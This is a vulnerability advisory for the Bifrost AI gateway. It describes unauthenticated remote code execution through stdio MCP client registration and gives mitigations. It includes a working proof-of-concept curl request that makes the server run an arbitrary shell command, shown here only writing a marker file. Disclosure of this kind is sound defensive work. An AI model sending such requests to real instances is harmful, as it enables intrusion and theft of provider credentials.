Bifrost is vulnerable to Unauthenticated Remote Code Execution via MCP Stdio Client Registration

Bifrost HTTP transport versions before 2.1.0 allow unauthenticated remote code execution through MCP stdio client registration, according to a vulnerability disclosure from the Bifrost project. With the default governance.auth_config.is_enabled=false, a single unauthenticated POST /api/mcp/client starts an attacker-supplied command as the Bifrost process user (appuser on the official image); the flaw was reproduced on maximhq/bifrost v1.6.3, and the 1.6.x line through 1.6.11 and transports/v2.0.0 remain affected. The fix in transports/v2.1.0 (pull request 6757) returns 403 for unauthenticated stdio MCP client registration when dashboard authentication is disabled or unconfigured, and the project advises setting governance.auth_config.is_enabled to true, keeping the management listener off untrusted networks, and rotating virtual keys and provider credentials on any instance that ran with authentication disabled.

Summary summary Bifrost is vulnerable to Unauthenticated Remote Code Execution via MCP Stdio Client Registration Component component Bifrost github.com/maximhq/bifrost/transports Affected versions affected-versions < 2.1.0 Description description Bifrost registers MCP clients through its management API. A stdio client is a command plus args. Bifrost starts that program in the gateway the moment the client is added. No MCP handshake required. The default is governance.auth config.is enabled=false. Auth off means every caller is a local admin. One unauthenticated POST /api/mcp/client is enough to run a program as the Bifrost process user appuser on the official image . I did this on maximhq/bifrost v1.6.3. The HTTP request may time out. The process is already running. transports/v2.1.0 refuses an unauthenticated stdio registration with 403. transports/v2.0.0 still allows it. The 1.6.x line through 1.6.11 does not contain the fix. PoC poc Step 1 - Run Bifrost with management authentication disabled Start a Bifrost HTTP transport before 2.1.0 with the default governance.auth config.is enabled=false. The management API must be reachable on the host and port you use below the binary default is localhost:8080 : curl -fsS http://127.0.0.1:8080/health Step 2 - Register a stdio MCP client No authentication header is required. A request timeout is expected while Bifrost waits for an MCP handshake. The timeout does not mean the command failed to start. curl --max-time 5 --silent --show-error \ --request POST http://127.0.0.1:8080/api/mcp/client \ --header 'Content-Type: application/json' \ --data '{ "name": "rceproof", "connection type": "stdio", "auth type": "none", "stdio config": { "command": "/bin/sh", "args": "-c", "echo PROVEN /tmp/bifrost-mcp-rce; sleep 60" }, "tools to execute": " " }' || true Step 3 - Confirm the command ran cat /tmp/bifrost-mcp-rce Expected output: PROVEN On 2.1.0 or later, the same POST returns 403 and the marker is not written. Vulnerability Mitigations vulnerability-mitigations Upgrade Bifrost HTTP transport to 2.1.0 or later. The fix https://github.com/maximhq/bifrost/pull/6757 https://github.com/maximhq/bifrost/pull/6757 returns 403 for unauthenticated stdio MCP client registration when dashboard authentication is disabled or unconfigured. Authenticated admins can still add stdio clients. The 1.6.x line through 1.6.11 and transports/v2.0.0 do not include this change. Until you upgrade, set governance.auth config.is enabled to true, use strong administrator credentials, and keep the management listener off untrusted networks. Treat any exposed instance that ran with authentication disabled as compromised and rotate virtual keys and provider credentials.